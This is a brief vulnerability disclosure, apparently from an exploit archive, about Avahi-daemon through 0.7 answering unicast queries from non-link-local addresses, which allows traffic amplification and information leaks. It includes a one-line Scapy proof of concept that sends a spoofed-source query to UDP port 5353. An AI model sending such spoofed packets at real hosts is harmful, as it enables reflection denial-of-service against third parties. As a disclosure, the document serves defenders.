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Avahi 0.7 Denial Of Service Vulnerability
Avahi-daemon in Avahi through 0.7 inadvertently sends Legacy Unicast Responses to IPv4 unicast queries with source addresses that are not link-local, which allows remote attackers to cause a denial of service (traffic amplification) or obtain potentially sensitive information via port-5353 UDP packets. send(IP(src="1.1.1.1",dst="192.168.1.1")/UDP(sport=53, dport=5353)/DNS(rd=1,qd=DNSQR(qtype="PTR", qname="_ssh._tcp.local."))) Author was notified by his bug tracker: https://github.com/lathiat/avahi/issues/203 Regards, -- Krzysztof Burghardt <[email protected]> http://www.burghardt.pl/ # 0day.today [2024-05-14] #